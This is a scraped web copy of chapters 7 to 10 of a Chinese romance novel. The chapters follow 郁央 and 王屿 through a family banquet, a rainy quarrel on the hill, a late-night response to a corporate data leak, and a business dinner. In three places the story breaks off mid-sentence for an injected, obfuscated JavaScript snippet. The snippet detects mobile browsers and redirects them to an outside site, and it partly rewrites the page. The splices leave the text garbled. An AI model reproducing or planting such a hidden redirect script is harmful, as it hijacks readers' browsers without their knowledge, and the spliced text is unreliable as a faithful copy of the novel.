《安眠火山》 7.chapter 07 翌日,郁央和王屿回郁氏本家赴家宴。 郁氏家大业大,本家老宅实际上是珑城四环外一座依山傍水的山庄,由郁国泽亲自督建,外界常戏称为国泽山庄。 山庄之大,主园区名为“松柏园”,是整个山庄的中心,郁国泽就主要住在这里,以松柏园为圆心,分布着梅兰竹菊四个子园,分别住着他四个子女的家庭。再外围,有一些联排别墅,从前住着郁氏的旁系亲戚,后来郁国泽产业整顿,连带着把住家也整顿了,清了许多亲戚,这些别墅空下来,一部分作为客房,一部分改建成功能房。 松柏园的饭厅是逢年过节家族聚餐的地方,装修得气派庄重。 主位坐的自然是郁国泽,虽然早已过了退休的年纪,但仍然大权在握,是郁家的实际掌权人。只见他留着花白的短寸,身穿一身绣金竹的银白中山装,精神矍铄,颇有几分仙风道骨。 他生有三儿一女,依次按照长幼顺序携伴侣先左后右的分坐在他两侧,然后再是孙辈,同样按照长幼嫡庶。 “今天是家宴,大家不要拘束。” 老爷子说话字正腔圆,掷地有声,自带大家长的威压。 郁二有两个孩子,前不久在慈善晚宴上见过面的郁麒便是长子,今天他和吴楼月坐在郁央王屿的对面,仍是一张标志性的扑克脸,不苟言笑,看起来不好接近。 次子郁麟小八岁,今年才刚二十五岁,正是郁央说的被郁国泽拿王屿当榜样耳提面命的那位小堂弟,席间仍不住地偷瞟王屿,不知道是好奇还是崇拜。 与郁大、郁二相比,郁三家人丁就比较寥落了,只有郁绥一个孩子,和郁央同年,稍大几个月,高高瘦瘦,白白净净,戴着一副半框眼镜,清俊斯文,总是含笑,比郁央更像郁闻的同胞。 按照顺位,他紧挨着郁央坐,语气亲昵:“安安,好久不见,在南城那边过得怎么样?” “吃好喝好,万事顺利。”郁央喝了一口茶,微笑地说,“听说二哥要和常家的二小姐订婚了。” 郁绥笑吟吟地说:“是啊,安安不恭喜我么?” 郁央悠悠道:“恭喜二哥。看来有的人就是注定要当我的嫂子。” 郁绥脸色微变,眼底飞快闪过一抹情绪,笑容不改:“安安又在开玩笑了。我也听说了一件事,安安把我这边的一位老员工挖去宝向了?” 或许是听到了只言片语,对面的郁麒往这边扫了一眼。 王屿一副事不关己的模样,默默喝着茶。 就听郁央十分淡定:“不叫挖吧,陈尧不是已经离职几个月了?” 郁绥轻笑一声:“是么,这我倒是不清楚了。” 郁央迎上他的目光,轻笑一声:“二哥日理万机,小道消息还这么灵通,昨天我才刚见到人,今天你就来兴师问罪了。” 郁绥为她斟了一杯茶:“怎么能叫‘兴师问罪’?我的人,只要你看得上,打声招呼随便用。” 郁央眨了眨眼,看起来很是无辜:“那真是抱歉了,二哥,我不知道原来你这么心系离职员工,下次再有机会,我一定提前打声招呼。” 郁绥含笑注视着她:“我只是好奇,这陈尧不是文秘出身啊,怎么安安有兴趣招他当秘书?难不成真像外人传的那样,是看脸不成?” 顿了顿,他又看向王屿:“屿总知道这件事吗?” 城池失火,祸殃池鱼。 王屿这只池鱼却过分气定心闲,他眼睛都没抬一下:“不就是个秘书,绥总这么在意,挺奇怪的。” 郁绥碰到了软钉子,稍显尴尬,但仍笑眯眯地说:“屿总很有大房风范啊。” 郁央为郁绥夹了一筷子菜,一边道:“王屿的工作饱和得很,哪有闲心理会这种不着调的小事?我看二哥也得让工作饱和起来,不然什么小事都管,太劳神了。” 没想到自己一贯爱用的托词被抢答了,王屿瞥了郁央一眼。 郁绥看着碗里多出来的鸭舌,不动声色地说:“多谢安安关心了。” 王屿脑海里默默浮现这三个字:笑面虎。 他和郁绥接触极少,不甚了解,但知道郁绥在生意场上素有“笑面虎”的名号,传闻郁绥远没有表面看上去好相与,睚眦必报,是个狠人。 之前还在本家住的时候,他多少也听了一些八卦——郁家和常家有意联姻已久,本来常家独钟情于郁闻,奈何郁闻发生意外,两家婚事也因此不了了之,可不知道这两年怎么的,竟让郁绥把这件事又盘活了。 对于这种弯弯绕绕,王屿向来嗤之以鼻。 和其他家族不同,郁家家宴不兴饮酒,郁国泽是注重养生的人,虽早年烟酒都来,但中年后就都不怎么碰了,除非遇到极为必要的场合。 家宴风格自然顺他的意,上的都是茶水,顶好的茶叶配上顶好的茶具,比酒水更为名贵。 茶喝多了,王屿去了一次洗手间,再回到饭厅,就已经上了甜点和水果,大家正聊得热闹。 不待他问,郁央便为他说明前因:“祖父在说我们小时候的事。” “什么事?” “有一年过年,他问如果一人给二十万块的零花钱,我们要怎么花。” 其实那次祖父最开始问的是郁闻、郁麒和郁绥,并没有把郁央和过于年幼的郁麟算进来。 郁绥当时才七岁,抢先作答:“如果有二十万,我要跟爸爸学习炒股,用来买股票,或者是找一家中间公司放贷放出去,以钱生钱。。” 郁麒年龄最长,当时已有十三岁,是第二个回答的。他沉思片刻,说:“我会在市场调研的基础上选择一条消费受众群体可观的产品线,用这笔钱作为启动资金,购买原材料,加工成商品,再以5%-20%的利润率卖出去。” 郁闻十二岁,处于二人年纪中间。他说话总是慢条斯理的,最后一个才开口:“我想开一家品位独到的书店,自己参与选品,进很多不同种类的书籍,再以书店为基点,发起公益阅读活动,力所能及地帮助一些没有条件读书的人。” 对于郁家的孩子来说,二十万着实只是一个小数目,然而三个孩子并没有轻视,也没有随便挥霍,无论是哪个回答都令周围的大人们倍感欣慰,郁国泽也很高兴。 “祖父,您还没问我呢。” 就在郁国泽打算就此结束“小测”的时候,一个奶声奶气的女孩声响起,是原本在一旁玩解锁游戏的小郁央。 郁国泽心情好,和颜悦色地问:“那么安安预备怎么花这二十万块啊?” 小郁央笑眼弯弯,不假思索地回答:“我等二哥被股市套牢的时候借他五万块,如果有赚的话给我分成,没赚的话得还我利息。然后给大哥五万块,资金入股他的生意,参与分红。最后把剩下的十万块都给哥哥,支持他的书店和公益项目。” 听到这个回答,郁绥惊呆了,郁麒愣住了,郁闻哈哈大笑起来。 同样大笑的还有郁国泽:“我们家果然还是数安安最聪明!” 回想起往事,桌上的长辈们都忍俊不禁。 王屿的嘴角弧度也有了细微的变化,他自言自语似的说了句:“原来从小就这样。” 郁央光顾着应付长辈们的调侃了,没有注意到。 这时,郁国泽冷不丁说了一句:“要是小闻能像安安一样聪明就好了。” 一时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14404428|153320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全场静默下来。 王屿发现每次一提到郁闻,他的岳母林溪莹都会眼角泛红。这么多年,丧子之痛都没有过去。 郁央的笑容就显得有些没心没肺了:“今天又不是过年,怎么翻起黑历史来了?祖父,等到大嫂的小孩出生,您不会还要把这些陈芝麻烂谷子讲给曾孙辈听吧?” 郁央的姑姑郁秋栾笑着搭话:“就是,我们还是聊些新鲜话题吧。楼月,你最近身体怎么样啊?” 吴楼月接过话茬,大大方方地和长辈们说起了产检的情况。 家宴结束,郁国泽在离席前走过郁央的位置,语重心长地交代了一句:“这次去南城,你做不错,这次回来就脚踏实地,多做出点成绩,不要再节外生枝了。” “好的,祖父。” 郁国泽淡淡地说:“那些无关紧要的事和人,就不要再花时间打理了。” 对此,郁央的态度却不似之前的乖巧:“祖父,是否无关紧要,我自己有判断和主见,会把握好分寸,就不劳您费心了。” 郁国泽眉头微蹙,显然对这个答复不大满意。 郁央微笑着,无半分改口的意思。 王屿不明就里,心中疑惑。 “那你自己看着办吧。” 最后,郁国泽扔下这句话,在儿女的簇拥下离开饭厅。 林溪莹素有饭后散步的习惯,便喊上了郁央和王屿同她一起去后山走走。 此时已入夜,一轮圆月自苍翠的山林中升起,挂在夜幕上,月光皎洁,光辉之下再璀璨的碎星都黯然不为人觉察。 夜风习习,挟裹着白昼的余温,无声地为此起彼伏的蝉鸣伴奏,远处潺潺的流水声隐隐约约传来,点缀着夏日交响乐。 蜿蜒的石板小径一路往上,便是进到山里了。 林溪莹却在这时驻足,突然问:“你祖父刚才的话,是什么意思?” 郁央和王屿也跟着脚步一顿。 郁央笑了笑:“就是借机教训我一句罢了,没什么特殊的。” “你现在有在和什么人联系吗?” 林溪莹出身自江南书香门第,话说总是柔声细语,今天语气却少见地透出严厉。 郊外的夜总是比市中心要凉快的,可今晚也有些闷热,连蝉鸣都像是被蒙在了一面鼓里,仿佛想通过嘶喊挣扎着破鼓而出。 应是有一场雨在等着。 郁央说:“妈,连祖父都没干涉我,您问这么多干什么呢?” “你真是……”林溪莹秀眉颦蹙,语气半怨半怒,“什么都不跟我和你爸说,主意大得很!” 郁央微笑着:“不是不说,而是不如不说。” 王屿感到意外,同时心情如五味杂陈,他知道郁央此时看上去像是好言好语,实际上却是冷淡疏离。 这样的郁央,他“有幸”在七年前见识过一次。 果然,林溪莹眼角泛起泪光:“要是你哥哥还在就好了,他才不会这样!” 郁央却是不为所动,任由数落了一顿后目送母亲拂袖而去。 待林溪莹走远后,郁央抬头望着那轮圆月,却是话题一转:“王屿,你来过后山吗?” “没有。” 王屿说的是实话,他独自在郁家度过“考察期”时,可没有出来逛的闲情逸致。 郁央温声说:“那我们随便走走吧,小时候我很爱来后山玩的。” 她的语气十分平静,仿佛刚才母女之间的冲突只是闷热夏夜催发的短暂幻觉。 郁央身形娇小,月光却将她的影子拉得很长。 王屿看了女人一眼,不置可否,只是默默踩上了那道细长的影子。 8.chapter 08 对于这片后山,郁家的人通常不以地图上的名字称呼,而是习惯称为“翠山”。 翠山不高,开发得早,出于安全考虑,郁家定期检查山路,每隔几年就翻修加固一次,道路修得平整美观,说像一个小景区也不为过,定点还有保安巡逻。 一路上的庭灯像是一双双黑夜中的眼睛,闷热天气下不少蚊虫在灯前环绕,像极了纷扰的俗事。 两人走到半山腰,在一座凉亭坐下休息。 王屿低头看见凉亭后似乎有一条废掉的石子路,隐没在没有庭灯的黑暗中,问:“这里看起来原本有一条路?” “这你都看出来了。” 郁央笑了笑:“这里原来的路是通往周锦陆家的。” “那为什么没了?” “周家觉得有安全隐患,就跟祖父协商把路拆了。” 之前三个月,王屿就有所耳闻,翠山是郁、周两家共享的,两家是世交,周家本家就坐落在翠山的另一面。 两家在祖辈结好,在郁央父亲那辈也关系紧密,但不知怎么的,到了这一代却没那么亲密了,只是郁央和周锦陆比较熟悉而已。 这条路从存在到消失,仿佛在暗示两家的交情变化。 王屿若有所思:“小时候你经常走这条路吗?” 听起来似乎是在问郁央是否经常去找周锦陆。 郁央这回听出来了,她眨了眨眼:“一般都是周锦陆来家里找我,我很少去周家。” 顿了下,又解释说:“虽然路是通的,但从山上走过去要好久呢,山下开车直接去周家的话也就十来分钟。” 王屿却没有像平常一样就此打住,而是追问了一句:“你从没有走过这里吗?” 郁央轻描淡写地说:“不太记得了。” 王屿坐在背光处,眉眼都没于幽暗中,不知道想到了什么。 闷雷穿透云层,一场大雨已然箭在弦上。 夜风都急促起来,吹得山林沙沙作响,有竹叶载着尘粒飘了起来,沾在了两人的衣服上。 “下山吧。” 郁央刚站起来作势要走,却被身后人抓住了手。王屿沉声道:“雨马上要下了。” “雨中漫步,想想还挺浪漫。”郁央看起来很乐观。 王屿冷哼一声:“想得挺美。” “是很美啊。”郁央冲他眨了眨眼睛,“还记得有次约会,你来找我却没带伞,然后下起了大雨……当时你落汤鸡的样子,还有点小性感。” “……” “好啦,我开玩笑的,其实当时……” 王屿突然问道:“七年前,你只是因为郁闻去世才离开的,对吗?” 宛如涨大到极致的气球被戳破,乌云终于包不住雨水,暴雨倾盆而下,雨声混着雷声将蝉鸣淹没,强势霸占了听觉。 郁央看着雨势,说:“果然,雨下得好大。” 手腕传来因身后人用力而产生的轻微痛感,与之伴随的还有男人严肃的声音:“不要转移话题。” 郁央的笑容稍敛。 “你现在都知道了,又为什么要问呢?”她的语气平静。 王屿说:“我没有完全知道。” 郁央回头,与男人四目相对:“那你想知道什么?” “你哥哥去世也好,你要回国竞争继承权也好,为什么不能告诉我,而是要……”后面三个字,像是咬着后槽牙说出来的,“抛下我。” 郁央表面波澜不惊,但内心还是惊讶的。 她所知道的王屿,是那样骄傲又要强,从不会愿意将自己置于弱者的境地。 “你竟然是这么想的么?”回过神来,郁央说,“我以为我们是和平分手。” “……也对,你就是这么随心所欲。”王屿眼里没有一丝光亮,他冷笑了一声,“随心所欲地招惹了我,随心所欲地不告而别,又随心所欲地再出现,要我和你结婚。” 郁央静静地看着他良久:“没有人逼你。” 冷静的,甚至可以说得上是冷漠的。 卸下平时言笑晏晏的面具,郁央鲜为人知的另一面展现而出。 王屿站了起来,身高优势尽显。他低头注视着郁央,缓缓地问:“是不是等你不需要我了,又能随心所欲地离婚,将我一脚踹开?” 郁央心里有个声音当即回答:不会的。 但她向来是理性大于感性,下一秒便思维做主,深知口说无凭,不能乱开空头支票。于是到了嘴边,话就成了:“如果真的有那一天,我会保证做好善后,绝不会让你吃亏。” 王屿气极反笑:“好啊,那我还得感谢你。” “倒也不必……” 不等她说完,王屿的吻就覆了下来。 狂风暴雨之间,有雨丝胡乱吹打到脸上,像是眼泪。 与泪水不同的是,伴随而来的气息是山林泥土湿润后的草腥味,气味愈重,空气中的闷热愈轻。 这个吻,好像有点发苦。 郁央心想。 就在她感到自己快要窒息之际,唇上猛然传来痛感——她被王屿狠狠咬了一口。 紧接着,王屿就退了回去,他的声音很轻,但足以让眼前人听清:“你不就是缺个合适的垫脚石吗?” 郁央还在舔下嘴唇的痕迹,一时没有反应过来他在说什么。 “我当那块石头。” 郁央错愕地抬眸,由于背光的缘故,她看不真切对方眼底的情绪。 “你要做什么,我都帮你。”王屿的喉结滚动了一下,“直到你不再需要我的那一天。” 听到这句话,郁央的心陡然揪了起来。 她张了张嘴,想要说些什么,却没想到手机铃声突兀地响了起来,打破了两人之间微妙的气氛。 是宝向高层打来的。 王屿看到了来电,头偏过一边,这是暗示郁央接电话的意思。 郁央犹豫了一下,最终还是接通了电话,听了一会儿,神色逐渐凝重起来。 等她结束通话,王屿才问:“怎么?” 再开口,男人的语气里已经恢复了平日的冷静与克制。 “我得回公司一趟。”郁央沉声说,“奥阳项目的资料泄密了。” 王屿神色一凛,心知能端到郁央面前的,严重程度可想而知,今晚肯定要召开紧急会议。他迅速进入工作状态,正色道:“我和你一起。” “好。” 雨势虽小了一些,但此时要下山还是麻烦的,于是两人不得不联系了老岑,让老岑联系山上的巡逻保安开巡逻车过来送二人下山。 下了山后,郁央跟家里交代了几句,便和王屿赶回宝向。 有两个小时的路程,一路上郁央电话不断。 奥阳医疗本就是这两年才谈下来的重点合作对象,一直由郁央直接负责, 重要客户的项目资料泄露,不仅会动摇此后的合作关系,损害宝向的信誉,还会让人对郁央的能力产生质疑。 等到了宝向,已经将近12点了,相关中高层人员已经在会议室等待。 “郁总,会议材料已经准备好了。” 刚到会议室,身边人就递来了一个平板,里面已经放了这次会议可能会用到的材料,列表整齐,滴水不漏,甚至还附上一份应急预案建议书。 郁央抬眼,发现陈尧已经到岗了,这次的会议材料正是他准备的。 除了应急预案建议书外,其他文件也已同步上传到了中控电脑上,会议室每个座位前的电脑分屏都能自主查看。 郁央推崇无纸化办公,陈尧是难得没有踩雷的新人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411570|153320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她满意地微笑道:“谢谢,辛苦了。” 王屿只是淡淡看了陈尧一眼。 会议正式开始,中高层领导可以大致分成三拨人。 一拨是甩锅派,做的第一件事就是想办法把锅甩出去,表示这件事跟自己以及部门无关;一拨是追凶派,认为当务之急是把泄密的人抓到,看是实习生还是什么人,开始了粗糙又啰嗦的推理,显得自己很积极“解决”问题;还有一拨稍显弱势,心态也很弱势,焦虑该怎么给奥阳赔罪,挽留住客户。 王屿一头黑线:“这些人,怎么混上来的?” 郁央低声说:“好多是我哥提的。” 王屿:“……” 郁央叹了口气:“我哥这个人就是太优柔寡断了。不过没事,之后人事改革都会给他们优化掉的。” 王屿:“……” 最后,还是郁央一锤定音:优先防治泄密信息进一步扩散,降低影响度,评估这次泄密的严重程度,然后再着力调查泄密源头,跟奥阳交待,制定补救措施。 事其实不复杂,但一旦涉及到“人”,就会很复杂。 等到会议结束,已经是凌晨四点。 好在这次反应迅速,泄密信息没有再扩散了,而根据初步调查结果,泄密源头是战略部的一个员工,在宝向工作有四五年了。 郁央选择了报警处理。 “注意盯一下,看之后谁去捞他了。”散会后,郁央习惯性地交待身旁的人,后知后觉才想起已经不是陈霓后,看了过去,“知道怎么做吗?” “知道的,郁总放心。”陈尧脸上不见一丝疲惫,他十分认真地说,“以前在市场部也要关注一些动态发展,其实就是人际。” 郁央笑了:“你总结得很到位。陈霓呢?” “本来她是要过来的,但她出门前母亲突然发病了。” “噢,这样,我看你今晚应对得挺好的,就让陈霓早点休假吧,你周一去人事报到。” “好的,郁总。”陈尧点了点头,目光落到郁央身后,“王总。” 郁央回头,才发现王屿不知道什么时候来到了身后,手上还有两杯自动咖啡机出的咖啡。 他将其中一杯咖啡递给郁央,对陈尧道:“难得周末,还加班到这么晚,辛苦了,快回家休息吧。” “谢谢王总。” 等陈尧走后,郁央说:“王总还是这么体恤下属。” “谁还没当过牛马?”王屿面无表情地说,“哦,我忘记了,郁总就没有。” 郁央哈哈一笑,看男人不动声色地喝了口咖啡,不免好奇:“我记得你以前不爱喝咖啡,说苦。” “这么多年了,人总是会有改变的。” 郁央打趣道:“我发现你越来越接近我的理想型了……难道你都在暗地里悄悄努力?” 王屿握住咖啡杯的手指僵了下,语气依然冷淡:“谁这么无聊。” “开玩笑嘛。” 王屿毫不客气地说:“我看你该回家睡了,脑子都不清醒了。” “好啊,那我们回家呗。”郁央想了想,“你等我一下,我回办公室拿点东西。” “行,我也回趟办公室。” 两人的办公室都是套间,有独立的休息室,设施齐全,可以过夜睡觉的。 不过明珠湾离宝向实在太近了,况且明天是周日,所以还是两人还是选择回家。 回到办公室,王屿拿了点资料,正打算离开,就见手机屏幕一亮,是新邮件的通知。 ——是他私人的邮箱,从读书的时候就在用了,工作后用的少了。 虽然大概率是垃圾邮件,但由于他有清空未读的强迫症,所以还是打开手机查看。 然而,在看到邮件内容时,王屿已经悬在删除键的手指却顿住了。 9.chapter 09 过了半个小时没有动静,王屿给郁央打了个电话,响了很久都没人听。 脑海里莫名飞快闪过陈尧那张年轻清俊的面庞,王屿摇了摇头,驱散荒谬的想法,直接去郁央办公室找人。 由于过去三个月他会代郁央处理一些事务,所以郁央办公室的门锁录入了他的指纹。 进了办公室,只见正对的办公桌后的巨大落地窗没有拉上百叶窗,凌晨四点半的街景一览无余,此时已有微弱的晨曦,将夜幕的中心浸得浅了些许。 目之所及的高楼大厦,在这个时间点,仍有好几扇窗户亮着冰冷的白炽灯,象征着通宵达旦的辛勤。 办公桌上放着郁央的手机,办公椅没有摆正,却不见人影。 王屿微微蹙起了眉头。 忽然,右手边传来一声细微的响声,由于四周过于安静,才得以入耳。 王屿循声望去,那里正是总裁办公室内休息室的位置。 他轻手轻脚地走到休息室门口,迟疑了一下,还是决定推门而入。 然后,果然在休息室的床上看到了熟睡的郁央。 王屿:“……” 想起刚才拧下门把的一瞬间又闪过别的男人的脸,王屿自嘲地扯了扯嘴角。 什么时候竟也开始这样疑神疑鬼起来,太不像话。 看着眼前这一幕,不难猜出郁央是收拾完东西后想着躺一会儿休息一下,却没想到优秀的睡眠质量发挥了作用,一沾枕头就睡着了。 甚至鞋都还没脱,上半身在床上,下半身斜着垂到地上。 王屿叹了一口气。 他蹲下,为女人脱下高跟鞋,看到被鞋子细带勒得有些破皮发红的脚后跟,他熟练地从西装裤兜里掏出创可贴贴上。 然后,他将郁央的身体轻轻抬到床上摆正,再把一侧折叠整齐的薄被展开,盖到对方身上。 把郁央安顿好后,王屿想着夜晚也不剩下几个小时了,决定也先回自己办公室休息。 反正这对他来说,已经算家常便饭。 然而,就在他打算离去的时候,手却被轻轻拉住了。 郁央半梦半醒,眼睛都睁不开了,说话像是梦呓:“不一起睡吗?” “……”王屿微微眯起双眼,“你看清我是谁了吗?” 郁央答非所问:“来都来了……” 王屿感觉有点头疼,太阳穴突突的。 他语气冷酷地问:“我是周锦陆,也一起睡?” 闻言,郁央反应了下,像是很努力地睁了下眼睛,但还是半睁着的,笑了下:“说什么胡话,王屿,你是不是太困了?” 王屿:“……睡觉吧你。” 怕再聊下去把人聊清醒了,他只有脱了外套,躺在了郁央旁边。 相较于王屿自己的办公室,郁央的更宽敞,休息室面积也更大,床是两米的双人大床,每天都会有专门的保洁打扫。 王屿贴着墙,和衣而睡。 和没心没肺的某人不一样,他的入睡时间比较长,失眠是常有的事。 这不,他还没成功入眠,就听到身边传来动静,下一秒一只胳膊和一条腿就搭到他身上了。 王屿立即睁开了眼。 那颗头发茂密的脑袋在他的颈窝蹭了三四下,安静了一会儿,又像被闷到了似的,换了个姿势,把头枕在了他肩头,以一种奇异的姿势陷入沉睡。 王屿:“……” 长长呼出一口气,是无声的叹息。 算了。 说来也神奇,明明这么不舒适的睡姿,但困意却顿时席卷而来,将他淹没。 …… 睡眠质量优异的郁央难得做了场梦。 梦里是芝加哥的夏天,她来到主校区一家咖啡馆买咖啡,透过玻璃门,看到了正在这里做学生兼职的王屿。 十九岁的王屿朝气蓬勃,穿着暗红色的学校文化T恤,外罩一件工作围裙,身量在一众白男里也不显逊色,低头拉花的时候侧面鼻梁如山峰矗立,英俊得令人移不开眼。 排队点单时,她听到有中国留学生在窃窃私语—— “今天好幸运,那是王屿诶!” “你要见他还不容易?多在咖啡馆、图书馆转转,总能碰到。” “难怪他学习那么好,原来经常泡馆。” “不是,他到处兼职,出了名的workaholic。” “啊?他缺钱吗?” “这就不知道了。你最好打消念头,被他拒绝的女孩男孩都能排到纽约了。” 过了一会儿,排到了郁央,正好负责点单的人上厕所了,王屿过来兼顾。 王屿头也没抬,用着一口纯正流利的美式英语问道:“要喝点什么?” “一杯冰美式,谢谢。” 听到声音,王屿抬头看了过来。 郁央换回了中文,笑眼弯弯地打招呼:“下午好呀,王同学。” 另外一个在这里兼职的学生是王屿的同学,是个印度人,在一旁搭腔:“我记得你,你是上次辩论赛把王屿狠狠压制的三辩小姐!” 郁央语言切换自如:“对,是我。” 王屿的脸色黑了一下,然后默不作声地转头去做咖啡了。 郁央在一旁怡然自得地等待。 没一会儿,王屿就面无表情地把咖啡递了过来:“祝您用餐愉快。” 郁央接过咖啡,却不着急离开,而是道:“上次的提议,你可以重新考虑一下吗?” “不用。”王屿回绝得很干脆。 “要把你的网站做大做强,光租服务器、找地推都需要花费不少吧。”郁央耐心地劝说,“有我的小投资,你不必这么辛苦,能省下时间专心做你的project。” 王屿抬眼看她:“你图什么?” “图你啊。” “……” “开玩笑的。”郁央笑了,解释说,“你的门户网站很有前景,我看好。等网站盈利了,我就是初始股东,能分红赚钱,就是这么简单。” 说着,也不等对方回答,她径自从包里掏出一支笔,在咖啡附赠的纸巾上写下了自己的电话号码和邮箱,一边道:“考虑好了联系我,咱们就算谈不成恋爱,也能做买卖嘛。” 王屿:“……” 在落款姓名的时候,郁央的笔顿了顿,犹豫再三写下两个汉字:余央。 然后不由分说地递还了王屿。 她心里有着百分百的把握,眼前这个男孩最终会联系她的。 即使上周她向他告白被拒了——就在他们正式见面的第一次,而那一次她令他颜面扫地。 留完联系方式后,郁央拿着咖啡扬长而去。 那一天,她的心情很好,以至于现在从梦里醒来的时候都是带笑的。 人会梦见过去发生过的事并不稀奇,而梦境和现实往往会有些许不同。 在郁央的这场梦里,唯一的不同就是,当时写下自己留学期间对外的假名时,她非常爽快,并无半点犹豫。 郁央醒来,看见近在咫尺的王屿,愣了下,用了几秒钟的时间回想起昨晚的事。 然后才意识到自己睡梦中把男人当抱枕了,手脚并用,像八爪鱼一样缠着对方。 她试图松开手脚,却发现自己最远侧的裙角被男人压住了。 这个时候抽走,很可能把男人弄醒。 于是郁央灵机一动,她缓缓撑起来,将就着这个姿势,慢慢地坐了起来。 准确来说,她目前的姿势是双腿岔开跪坐在王屿身上,只是为了不压到男人,并没有真的坐下去,而是为了保持平衡,双手分别撑在了男人的身两侧。 郁央本意是通过这个动作翻到王屿的另一侧,将裙子神不知人不觉地拉出。 然而,一低头,男人的脸庞正入眼帘,她怔了怔,这好像还是重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419132|153320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逢以来她第一次这么近距离地端详对方,还是睡颜。 这么多年过去了,与学生时代相比,两人多多少少都发生了变化,但此时男人的脸和梦中以及记忆深处的面容完全叠加重合。 一种熟悉又陌生的感觉油然而生,像是盯某个字盯久了就觉得不认识了似的,郁央此刻也产生了一种类似的奇异感觉。 目光下移,她不禁奇怪:这人每天扎工作里,是哪儿来的时间健身的? 只见王屿的白色衬衣领口微敞,衬衫内打底的紧身白色背心若隐若现。 郁央一个没忍住,伸手轻轻摸了摸男人的胸肌。 王屿闭着眼,气息绵长沉稳,没醒。 这给了郁央信心,她又隔着衣服摸了摸对方的腹肌,还戳了下。 王屿还是没醒。 郁央笑了,手指拂过腹部,作势一路往下…… 结果还没三秒,就被一只大手握住手腕,抬眸便对上那双幽深的黑眸。 “你在干什么?” 大概是因为刚醒,王屿的声音微哑低沉,语气近乎质问。 虽是被抓包,但郁央毫不脸红心虚,反而直接坐在王屿身上了。 她眨了眨眼:“检验你的健身成果。” 要是多年前的王屿,定然只会回以沉默,但现在也是经验见长,能够有来有回:“还满意?” “满意。”郁央笑眯眯地点评,“穿衣显瘦,脱衣有肉。” 王屿微哂:“你见过?” 前几日中场休息的时候,两人顶多也只是衣衫凌乱,衣服都还没来得及褪去。 郁央笑着说:“那看看?” 王屿嘴角抽了下:“你和流氓有什么区别?” 郁央哈哈大笑:“区别在于我是合法调戏?” “调戏?” 再一眨眼,郁央只觉整个人天翻地转,回过神来时自己的后背已经贴回到了床上,男人撑在她头两侧,俯身看着她。 两人的上下位置交换了过来。 王屿皮笑肉不笑地说:“你倒是挺有精神,看来可以回家了。” 郁央直勾勾地盯着他的脸,突然正色道:“王屿。” “什么?” “你黑眼圈好重。” “……” 王屿迅速起身,站在了床边,冷酷无情地说:“快起来,我去开车,你在门口等我。” 郁央知道再继续逗下去就没意思了,比了个“OK”的手势,表示自己知道了。 此时已经早上九点多了,有好些员工因昨晚的紧急会议不得不回来加班了,一个个顶着疲倦又苦涩的神情唉声叹气。加班使人面目愁苦。 愁苦的时候,就希望能找到乐子。 有人眼尖地看到了从郁央办公室里出来的王屿,发现平时总是无懈可击的王总竟穿着皱巴巴的衬衣,头发也有些凌乱,一边往外走一边不住地揉着肩膀和手臂。 没一会儿,郁总也从办公室出来了,手上还拿着一件和王总西裤同色的西装外套——合理推断是王总落下的。 很快,公司某小群就有了新消息:“王总昨晚在郁总办公室过夜啦!郁总也在!” “我也看到了!谁说他们快离婚了?感觉还很恩爱啊!” “嘶,老总们的办公室恋情,就是刺激哈。” “这有啥的,人家是真夫妻好不啦?” “我看王总不知道是落枕还是怎么的,一直在扭脖子按胳膊?” “啧啧啧,看来昨晚很激烈!” “郁总倒是看起来心情不错……” 八卦无疑给了加班党们苦中作乐的机会,尤其是领导们的八卦,是止痛药、强心剂、爆米花,是比浓缩咖啡更加提神的慰问品。 等到加班结束的时候,两人在公司共度一夜的消息已经传遍全公司,只是版本已经进化成—— “郁总和王总在公司激战一夜!” 10.chapter 10 激战是没条件激战的,回家浅浅补了一觉后,郁央作为项目的直接负责人,就坐上了飞往风城的航班,亲自约奥阳老总“吃饭”,以示诚意。 奥阳的老总姓吴,四十岁出头,谈公务时很凶,说出来的话让陈尧都以为要终止合作了,却没想到郁央仿佛习以为常,三言两句便化百炼钢为绕指柔,让气氛缓和下来。 事后顺利约了晚饭,不谈公务时的吴总判若两人,随和得多,吃饭时还带上了女儿,小名涵涵,才十一二岁,之前谈事的时候郁央也见过一次。 坐在包间里,吴总解释道:“我前段时间查出了酒精肝,不知怎么的被这孩子偷听到了,从那之后盯我盯得可紧了,一有应酬就非要跟来,说要盯着我戒酒。” “没事。”郁央忍俊不禁。吴总是出了名的疼女儿,当初她能成功取得信任,拿下和奥阳的合作,也在这方面费过心思。 涵涵看来是出入惯这种饭局的,毫不怯场,吃完饭后趁大人闲聊时,自己就从小包里摸出一个平板看起小说来,津津有味。 吴总暼了眼女儿,摇着头叹了口气:“现在的小孩,都不爱看纸书了,净看电子屏。” 